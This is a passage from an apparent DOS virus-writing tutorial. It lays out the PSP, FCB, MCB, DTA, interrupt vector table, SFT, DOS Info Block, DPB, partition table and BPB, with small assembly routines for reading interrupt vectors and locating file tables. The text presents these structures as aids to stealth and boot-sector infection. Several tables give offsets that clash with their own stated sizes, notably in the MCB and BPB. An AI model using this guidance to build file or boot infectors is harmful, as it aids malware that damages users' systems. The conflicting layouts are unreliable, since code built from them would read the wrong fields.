0012h: Another int is stored here, the INT 24h. This is the int that handle the critical errors. Examples of this kinda errors ? When there isn't a floppy in your floppy drive, or when it's write-protected. þ Offset 002Ch: Here goes the starting offset of the enviroment block. þ Offset 005Ch: In this field is stored the first default FCB ( File Control Block ). This way to access files isn't normally used by programs ( they are here for compatibility with old DOS versions ), but virus writers usually use a way for make stealth. See the FCB structure for more info. þ Offset 006Ch: Ditto. It's the second default FCB. þ Offset 0080h: This field has two functions: - Store the command tail - Default file buffer for store DTA This functions can't live together, so when we start a program the first thing that is here is the command tail. If we need it, i recommend you to save it to a safe place ( a variable in our code ). Da first byte of command tail ( 80h ) holds its length, and from here, it's stored the real params. The structure of the DTA will be explained in this same chapter. % The FCB ( File Control Block ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are two kinds of FCBs : da normal and da extended ones. Here you have the structure of a normal FCB. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ Drive Letter ( 0=actual, 1=A... ) ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h ³ Blank padded file name ³ Size : 8 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0009h ³ Blank padded file extension ³ Size : 3 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch ³ Current block number ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh ³ Logical record size ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h ³ File size ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0014h ³ File date ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h ³ File time ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h ³ Reserved ³ Size : 8 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0020h ³ Record within current block ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0021h ³ Random access record number ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 37 BYTES And when it's an extended FCB, all the avobe offsets are shifted by 7 bytes and then the first 7 bytes looks like this: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ -0007h ³ FF ( Signature for extended FCB ) ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ -0006h ³ Reserved ³ Size : 5 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ -0001h ³ File attribute ³ Size : 1 BYTE ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 44 BYTES The way for detect if the FCB is normal or extended is to see if the first byte of FCB is a FFh byte. If it's, the FCB is extended, cause in a normal FCB this can't never happen. There's a kinda of stealth that changes some values of the FCB for hide the infection, but this will be seen in the STEALTH chapter. % The MCB ( Memory Control Block ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's explained in RESIDENT viruses chapter ( the next chapter ). Here you have: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ ID ( Z=last, M=there're more ) ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h ³ Address of associated PSP ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0003h ³ Number of paras in allocated mem ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h ³ Unused ³ Size : 11 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h ³ Block Name ³ Size : 8 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h ³ Zone of allocated memory ³ Size : ?? PARAS ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : VARIABLE % The DTA ( Disk Transfer Area ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This structure is very important in virus writing. Let's see it: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ Drive Letter ( equal than above ) ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h ³ Search Template ³ Size : 11 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch ³ Reserved ³ Size : 9 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0015h ³ File attribute ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h ³ File time ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h ³ File date ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ah ³ File size ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Eh ³ ASCIIZ Filename + extension ³ Size : 13 BYTES ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 43 BYTES The original DTA is stored in offset 80h of the PSP. We can save it with function 1Ah of the INT 21h. % The IVT ( Interrupt Vector Table ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This ain't a " real " structure. Erhm... Let me explain... The IVT is the place when are stored all the interrupt vectors ( wow, genius! ). All the vectors are located in number_of_interrupt * 4. Imagine we want the INT 21h vectors in DS:DX... simple: xor ax,ax mov ds,ax lds dx,ds:[21h*4] Why we clear DS ? Coz the IVT is located from 0000:0000 to higher places. This manipulation ( without using DOS ) is the DIRECT way for obtain/put vectors of an interrupt. Well, all this stuff and more in RESIDENT VIRUSES chapter. Hey... I've forgotten a little graphic :) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ INT 00h vector ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ INT 01h vector ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +03FCh ³ INT FEh vector ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0400h ³ INT FFh vector ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄÄÄ Total Size : 1024 BYTES You can imaginate that the " broken " line means that are 256 interrupts and i had to optimize this document ( i don't want it to occupy 5 megs! ) ;) % The SFT ( System File Table ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This structure is really cool. It can help you to make your code much more powerful and optimized. It's like the FCBs, but, as you can see, this one is more powerful. With this tables we can make stealth, change the file pointer the open mode, attributes... Here you have da structure for DOS 4+ ( I beli- eve there isn't in da world someone using DOS 3 or something ). Well, if you want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the SFT for DOS 3 is very similar to this one. The important values are in the same place :) ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÄÄÄ +0000h º Pointer to next file table º Size : 1 DWORD ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ ÄÄÄ +0004h º Number of files in this table º - - - - - Size : 1 WORD - - - - - - - ÈÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍѼ ÄÄÄ +0000h [ 3Bh bytes per file ] ³ Number of file handles of file ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h ³ File open mode ( AH=3Dh ) ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ File attribute ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h ³ Device info block ( AX=4400h ) ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0007h ³ If char device points next dev h. ³ Size : 1 DWORD ³ else point to DOS DPB ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Bh ³ Starting cluster of file ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Dh ³ File time ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Fh ³ File date ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0011h ³ File size ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0015h ³ Current offset in file ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0019h ---------[ If Local File ] ³ Relative cluster within file of ³ Size : 1 WORD ³ last cluster accessed ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Bh ³ Number of sector with dir entry ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Fh ³ Number of dir entry within sector ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0019h ----[ Network redirector ] ³ Pointer to REDIRIFS records ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Dh ³ ??? ³ -----------Size : 3 BYTES------------- ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0020h ³ Filename in FCB format ³ Size : 11 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Bh ³ Pointer to prev SFT sharing file* ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +002Fh ³ Network machine num opened file* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0031h ³ PSP segment of file owner ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0033h ³ Offset to code segment of rec* ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0035h ³ Absolute clust num of last access ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0037h ³ Pointer to IFS driver for file ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 61 BYTES Uhm... I forgot to say what's the way to access SFTs... Here you have the routine that puts the SFT in ES:DI, giving the file handle in BX. GetSFT: mov ax,1220h int 2Fh jc BadSFT xor bx,bx mov ax,1216h mov bl,byte ptr es:[di] int 2Fh BadSFT: ret I really recommend you to save da values in AX/BX ( BX is very important: we put there the file handle ) (*) The fields marked are used by SHARE.EXE % The DIB ( DOS Info Block ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ With the DIB we can access to very important structures, that can't be acce- ssed by another way. This structure isn't fixed to a memory location. We must use the function 52h of the INT 21h. It isn't a documented function of DOS. When we call to the said function, we have the address of DIB in ES:BX. Here you have: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ -0004h ³ Pointer to first MCB ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0000h ³ Pointer to first DPB ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ Pointer to DOS last buffer ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h ³ Pointer to $CLOCK ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch ³ Pointer to CON ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h ³ Maximum sector length ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h ³ Pointer to DOS first buffer ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h ³ Pointer to array of cur dir struc ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +001Ah ³ Pointer to SFT ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 34 BYTES % The DPB ( Drive Parameter Block ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This structure provides us very useful information for our purposes. We can know where is it located by using da second pointer in the DIB ( see above ) Here you have: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ Drive Letter ( 0=A,1=B... ) ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h ³ Unit number within device driver ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h ³ Bytes per sector ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ Highest sect num within a cluster ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h ³ Shift count for clust to sectors ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0006h ³ Number of reserved clusters ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h ³ Number of FATs ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0009h ³ Number of root directory entries ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Bh ³ Number of first sector with data ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Dh ³ Number of last sector with data ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Fh ³ Number of sectors per FAT ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h ³ Sector number of first dir sector ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0012h ³ Address of device driver header ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0016h ³ Media ID byte ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0017h ³ 00h if disk accessed, else FFh ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0018h ³ Pointer to next DPB ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 28 BYTES % The Partition Table % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, this structure is preety known by everyone that codes boot infectors. This is the first block of the hard disk. It's always the first, doesn't matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas ter Boot Record ) when HD, or Boot Sector when FD. The partition table is an array with four entries, located at offset 01BEh in the block. Here you have the format of each of these entries: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ Boot indicator ( Bootable = 80h, ³ Size : 1 BYTE ³ Non bootable 00h ) ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0001h ³ Head where the partition begins ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0002h ³ Sector where the partition begins ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0003h ³ Cylinder where the part. begins ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0004h ³ System indicator* ( What OS ? ) ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0005h ³ Head where partition ends ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0006h ³ Sector where the partition ends ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0007h ³ Cylinder where the partition ends ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h ³ Total blocks preceding partition ³ Size : 1 DWORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Ch ³ Total blocks in the partition ³ Size : 1 DWORD ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÄÄÄÄÄÄÄÄ Total Size : 16 BYTES (*) 01 = 12-bit FAT 04 = 16-bit FAT % The BPB ( Bios Parameter Block ) % ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In DOS based systems, the boot record begins with a jump, followed by the following structure, the BPB. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄ +0000h ³ OEM name and version ( ASCII ) ³ Size : 8 BYTES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0008h ³ Bytes per sector ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Dh ³ Sectors per cluster ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +000Eh ³ Reserved sector ( starting at 0 ) ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0010h ³ Number of FATs ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0011h ³ Num of 32 bit root dir entries ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0013h ³ Total sectors in partition ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0015h ³ Media descriptor ³ Size : 1 BYTE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0017h ³ Sectors per FAT ³ Size : 1 WORD ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÄÄÄ +0019h ³ Sectors per track ³ Size : 1 WORD 